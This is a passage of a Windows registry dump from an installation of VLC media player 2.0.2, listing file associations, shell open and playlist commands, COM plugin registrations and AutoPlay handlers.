"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.ac3\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.ram\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.m3u\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.mpc\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mpv2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.wv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.cda]
"(Default)" = "VLC.cda"

[HKCR\VLC.pls\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".FLAC" = "VLC.flac"

[HKCR\Wow6432Node\Interface\{465E787A-0556-452F-9477-954E4A940003}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.caf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mts\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.gxf]
"(Default)" = "VLC media file (.gxf)"

[HKCR\VLC.m2ts\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.webm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.3ga\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0]
"(Default)" = "VideoLAN VLC ActiveX Plugin"

[HKCR\VLC.tod\shell\Open]
"(Default)" = "Play"

[HKCR\.m2t]
"(Default)" = "VLC.m2t"

[HKCR\VLC.ogg\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.m2t\shell]
"(Default)" = "Open"

[HKCR\VLC.3ga\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.vro\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Wow6432Node\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}]
"(Default)" = "DVLCEvents"

[HKCR\VLC.vlc]
"(Default)" = "VLC media file (.vlc)"

[HKCR\VLC.webm\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.3g2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.DVDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file dvd:///%1"

[HKCR\VLC.mpg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.cue\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.amv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mp2v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mov\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.3ga]
"(Default)" = "VLC.3ga"

[HKCR\.wav]
"(Default)" = "VLC.wav"

[HKCR\VLC.mpeg4\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.divx]
"(Default)" = "VLC.divx"

[HKCR\VLC.oga\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m4p\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"Version" = "1.0"

[HKCR\VLC.vqf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.ogm\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.ogg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.gxf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.aac\shell]
"(Default)" = "Open"

[HKCR\VLC.ape\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".MID" = "VLC.mid"

[HKCR\VLC.a52\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.s3m]
"(Default)" = "VLC media file (.s3m)"

[HKCR\VLC.flac\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.mp4v]
"(Default)" = "VLC.mp4v"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".oma" = "VLC.oma"

[HKCR\VLC.tts\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayDVDMovieOnArrival]
"VLCPlayDVDMovieOnArrival" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.oma\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\ProgID]
"(Default)" = "VideoLAN.VLCPlugin.1"

[HKCR\VLC.divx\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp2]
"(Default)" = "VLC.mp2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayDVDAudioOnArrival]
"InvokeProgID" = "VLC.OPENFolder"
"DefaultIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.SVCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.tta\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.rm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.aob]
"(Default)" = "VLC.aob"

[HKCR\VLC.f4v\shell]
"(Default)" = "Open"

[HKCR\Applications\vlc.exe\SupportedTypes]
".avi" = ""

[HKCR\VLC.oma\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.3gp2\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.m2ts]
"(Default)" = "VLC.m2ts"

[HKCR\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\Wow6432Node\Interface\{796A2C2D-5B11-4FB5-9077-56D5E674972B}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.tts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.flv\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ram\shell]
"(Default)" = "Open"

[HKCR\VLC.3g2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.aifc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.nsv\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\.drc]
"(Default)" = "VLC.drc"

[HKCR\VLC.3g2\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.669\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oga\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tod]
"(Default)" = "VLC media file (.tod)"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mts" = ""
".mtv" = ""

[HKCR\VLC.au\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.mpc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.wv\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.b4s\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".au" = "VLC.au"

[HKCR\VLC.f4v\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mka\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.aac\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.adt\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.caf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.aif]
"(Default)" = "VLC media file (.aif)"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayIcon" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe"

[HKCR\Applications\vlc.exe\SupportedTypes]
".gxf" = ""

[HKCR\VLC.voc\shell]
"(Default)" = "Open"

[HKCR\VLC.m4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.DVDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\.mkv]
"(Default)" = "VLC.mkv"

[HKCR\VLC.mlp\shell]
"(Default)" = "Open"

[HKCR\VLC.wv\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\EventHandlers\PlayMusicFilesOnArrival]
"VLCPlayMusicFilesOnArrival" = ""

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayCDAudioOnArrival]
"Provider" = "VideoLAN VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".SPX" = ""

[HKCR\VLC.vqf\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.drc\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Interface\{8D076AD6-9B6F-4150-A0FD-5D7E8C8CB02C}]
"(Default)" = "IVLCMarquee"

[HKCR\VLC.mpeg\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.qcp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.669\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.xa\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gpp\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.s3m\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.amv\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.f4v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.aif\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.ogm\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.b4s\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.nuv\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.f4v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.sdp\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpg]
"(Default)" = "VLC media file (.mpg)"

[HKCR\VLC.mpeg\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mid\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.m4p\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.gxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\VLC media player]
"DisplayVersion" = "2.0.2"

[HKCR\.aiff]
"(Default)" = "VLC.aiff"

[HKCR\VLC.mtv\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.3gp\shell]
"(Default)" = "Open"

[HKCR\Wow6432Node\Interface\{8A4A20C2-93F3-44E8-8644-BEB2E3487E84}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.tta\shell]
"(Default)" = "Open"

[HKCR\VLC.divx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.flac\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".MID" = ""

[HKCR\VLC.rmvb\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\.amv]
"(Default)" = "VLC.amv"

[HKCR\VLC.mp1\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.oma\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mlp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".AAC" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".m2ts" = "VLC.m2ts"

[HKCR\VLC.qcp\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".AC3" = "VLC.ac3"

[HKCR\VLC.a52\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\Applications\vlc.exe\SupportedTypes]
".669" = ""

[HKCR\.3gp2]
"(Default)" = "VLC.3gp2"

[HKCR\VLC.nsv\shell]
"(Default)" = "Open"

[HKCR\VLC.b4s\shell]
"(Default)" = "Open"

[HKCR\VLC.mxf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.rec\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".oma" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".caf" = "VLC.caf"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogm" = ""
".OGA" = ""

[HKCR\VLC.au\shell\Open]
"MultiSelectModel" = "Player"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mpv2" = "VLC.mpv2"

[HKCR\Applications\vlc.exe\SupportedTypes]
".OGG" = ""

[HKCR\VLC.aiff]
"(Default)" = "VLC media file (.aiff)"

[HKCR\VLC.asf\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mp2v\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.asf\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".ogv" = ""

[HKCR\VLC.ogg\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.tts\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.xspf\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.w64\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Interface\{9E0BD17B-2D3C-4656-B94D-03084F3FD9D4}\TypeLib]
"Version" = "1.0"

[HKCR\Interface\{2D719729-5333-406C-BF12-8DE787FD65E3}\TypeLib]
"Version" = "1.0"

[HKCR\Applications\vlc.exe\SupportedTypes]
".M3U8" = ""

[HKCU\Software\Classes\.webm]
"(Default)" = "VLC.webm"

[HKCR\Applications\vlc.exe\SupportedTypes]
".dv" = ""

[HKCR\VLC.f4v\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.669]
"(Default)" = "VLC.669"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayMusicFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.rm\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.voc\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.m3u\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.avi\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Applications\vlc.exe\SupportedTypes]
".RMI" = ""

[HKCR\Interface\{DF48072F-5EF8-434E-9B40-E2F3AE759B5F}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.xm\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogx\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf]
"(Default)" = "VLC media file (.asf)"

[HKCR\VLC.f4v\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.dv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\.mp4]
"(Default)" = "VLC.mp4"

[HKCR\VLC.vro\shell\Open]
"(Default)" = "Play"

[HKCR\AudioCD\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.cue\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Interface\{BC97469F-CB11-4037-8DCE-5FC9F5F85307}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKLM\SOFTWARE\Wow6432Node\MozillaPlugins\@videolan.org/vlc,version=2.0.2]
"Description" = "VLC Multimedia Plugin"

[HKCR\VLC.mpeg\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.mov\shell]
"(Default)" = "Open"

[HKCR\.mov]
"(Default)" = "VLC.mov"

[HKCR\VLC.amr\shell\Open]
"(Default)" = "Play"

[HKCR\Applications\vlc.exe\SupportedTypes]
".rm" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".w64" = "VLC.w64"
".WAV" = "VLC.wav"

[HKCR\VLC.aac]
"(Default)" = "VLC media file (.aac)"

[HKCR\VLC.vro\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.ifo\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.dts\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.pls\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\Wow6432Node\Interface\{C2FA41D0-B113-476E-AC8C-9BD14999C1C1}\TypeLib]
"(Default)" = "{DF2BBE39-40A8-433B-A279-073F48DA94B6}"

[HKCR\VLC.mpa\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.a52\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.SVCDMovie]
"(Default)" = "VLC SVCD Movie"

[HKCR\VLC.it\shell]
"(Default)" = "Open"

[HKCR\VLC.CDAudio\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.sdp\shell]
"(Default)" = "Open"

[HKCR\VLC.ac3]
"(Default)" = "VLC media file (.ac3)"

[HKCR\Directory\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.asx\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\Wow6432Node\CLSID\{E23FE9C6-778E-49D4-B537-38FCDE4887D8}\InprocServer32]
"ThreadingModel" = "Apartment"

[HKCR\VLC.cda\shell]
"(Default)" = "Open"

[HKCR\VLC.mp4v\shell]
"(Default)" = "Open"

[HKCR\VLC.ts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mpv2\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.mp1\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.3gpp]
"(Default)" = "VLC media file (.3gpp)"

[HKCR\VLC.asf\shell\Open]
"(Default)" = "Play"

[HKCR\VLC.vqf\shell]
"(Default)" = "Open"

[HKCR\VLC.mkv\shell]
"(Default)" = "Open"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlaySVCDMovieOnArrival]
"Action" = "Play SVCD movie"

[HKCR\VLC.au\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\VLC.drc\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\Applications\vlc.exe\SupportedTypes]
".voc" = ""
".vob" = ""

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".flv" = "VLC.flv"

[HKCR\VLC.voc\shell\Open]
"(Default)" = "Play"

[HKLM\SOFTWARE\Wow6432Node\VideoLAN\VLC]
"InstallDir" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\VLC.m1v\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.ogg\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VideoLAN.VLCPlugin.1\CLSID]
"(Default)" = "{E23FE9C6-778E-49D4-B537-38FCDE4887D8}"

[HKCR\VLC.mp2\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AutoplayHandlers\Handlers\VLCPlayVideoFilesOnArrival]
"InvokeProgID" = "VLC.OPENFolder"

[HKCR\VLC.mkv\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file %1"

[HKCR\VLC.mpv2\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.rmvb\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\TypeLib\{DF2BBE39-40A8-433B-A279-073F48DA94B6}\1.0\HELPDIR]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC"

[HKCR\.mpv2]
"(Default)" = "VLC.mpv2"

[HKCR\VLC.mka]
"(Default)" = "VLC media file (.mka)"

[HKCR\VLC.m1v\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.asf\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.rm\shell\PlayWithVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --no-playlist-enqueue %1"

[HKCR\VLC.SVCDMovie\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file vcd:///%1"

[HKCR\VLC.VCDMovie\shell]
"(Default)" = "Open"

[HKCR\VLC.dts\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\VLC.mpeg]
"(Default)" = "VLC media file (.mpeg)"

[HKCR\VLC.amr\shell\Open]
"MultiSelectModel" = "Player"

[HKCR\VLC.xa\shell\AddToPlaylistVLC\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file --playlist-enqueue %1"

[HKCR\Wow6432Node\Interface\{54613049-40BF-4035-9E70-0A9312C0188D}\ProxyStubClsid32]
"(Default)" = "{00020424-0000-0000-C000-000000000046}"

[HKCR\VLC.asf\shell]
"(Default)" = "Open"

[HKCR\VLC.sdp\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.mxf\shell\PlayWithVLC]
"(Default)" = "Play with VLC media player"

[HKCR\.m4p]
"(Default)" = "VLC.m4p"

[HKCR\VLC.ogm\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKCR\VLC.CDAudio\shell\Open\command]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe --started-from-file cdda:///%1"

[HKCR\VLC.ram\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKCR\VLC.mts\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mkv" = "VLC.mkv"

[HKCR\Applications\vlc.exe\SupportedTypes]
".mp4v" = ""

[HKCR\VLC.pls\DefaultIcon]
"(Default)" = "%Program Files% (x86)\VideoLAN\VLC\vlc.exe,0"

[HKLM\SOFTWARE\Clients\Media\VLC\Capabilities\FileAssociations]
".mka" = "VLC.mka"

[HKCR\VLC.m4p\shell\AddToPlaylistVLC]
"(Default)" = "Add to VLC media player's Playlist"

